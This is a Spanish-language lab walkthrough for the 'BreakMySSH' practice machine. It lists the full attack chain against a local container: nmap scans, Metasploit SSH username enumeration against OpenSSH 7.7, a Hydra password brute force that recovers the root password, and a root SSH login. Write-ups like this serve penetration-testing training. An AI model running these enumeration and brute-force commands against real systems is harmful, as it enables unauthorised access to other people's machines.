BreakMySSH
Laboratorio para practicar ataques de fuerza bruta con Hydra contra el servicio SSH.

Enumeration
Hacemos un escaneo con nmap para saber que puertos estån abiertos y qué servicios corren en ellos.
sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 172.17.0.2
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
Escaneamos el puerto abierto encontrado con nmap para conocer mås detalles del servicio que corre en él.
nmap -p 22 -sCV -oA nmap/openports 172.17.0.2
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
| 256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
|_ 256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)
Con searchsploit buscamos si hay alguna vulnerabilidad para openssh 7.7
searchsploit openssh 7.7
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
Buscamos con metasploit si hay algĂșn mĂłdulo que enumere usuarios en SSH ya que los scripts de Python que proporciona ExploitDB se crearon con librerĂas obsoletas.
msfconsole -q
search openssh 7
1 auxiliary/scanner/ssh/ssh_enumusers . normal No SSH Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
show options
Module options (auxiliary/scanner/ssh/ssh_enumusers):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_FALSE true no Check for false positives (random username)
DB_ALL_USERS false no Add all users in the current database to the list
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 22 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
THRESHOLD 10 yes Amount of seconds needed before a user is considered found (timing attack only)
USERNAME no Single username to test (username spray)
USER_FILE no File containing usernames, one per line
Auxiliary action:
Name Description
---- -----------
Malformed Packet Use a malformed packet
set RHOSTS 172.17.0.2
set user_file /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
run
[*] 172.17.0.2:22 - SSH - Using malformed packet technique
[*] 172.17.0.2:22 - SSH - Checking for false positives
[*] 172.17.0.2:22 - SSH - Starting scan
[+] 172.17.0.2:22 - SSH - User 'mail' found
[+] 172.17.0.2:22 - SSH - User 'root' found
[+] 172.17.0.2:22 - SSH - User 'news' found
[+] 172.17.0.2:22 - SSH - User 'man' found
[+] 172.17.0.2:22 - SSH - User 'bin' found
[+] 172.17.0.2:22 - SSH - User 'games' found
[+] 172.17.0.2:22 - SSH - User 'nobody' found
[+] 172.17.0.2:22 - SSH - User 'lovely' found
[+] 172.17.0.2:22 - SSH - User 'backup' found
[+] 172.17.0.2:22 - SSH - User 'daemon' found
[+] 172.17.0.2:22 - SSH - User 'proxy' found
[+] 172.17.0.2:22 - SSH - User 'list' found
[+] 172.17.0.2:22 - SSH - User 'sys' found
Copiamos el output a un archivo valid_users.txt y con awk nos quedamos solo con los nombres de usuarios redirigiendo el output a un archivo llamado users.txt
awk -F"'" '{print $2}' valid_users.txt > users.txt
Ahora hacemos fuerza bruta con hydra para ver si encontramos alguna contraseña vålida para alguno de los usuarios vålidos, usamos una lista relativamente corta porque si no va a tardar una eternidad probando todas las contraseñas por cada usuario encontrado.
hydra -L users.txt -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt -t 4 -I -F ssh://172.17.0.2
[22][ssh] host: 172.17.0.2 login: root password: estrella
Con el password del usuario root nos conectamos a la mĂĄquina vĂctima mediante ssh
ssh root@172.17.0.2
Ejecutamos el comando id para ver qué usuario estå corriendo el proceso actual.
id
uid=0(root) gid=0(root) groups=0(root)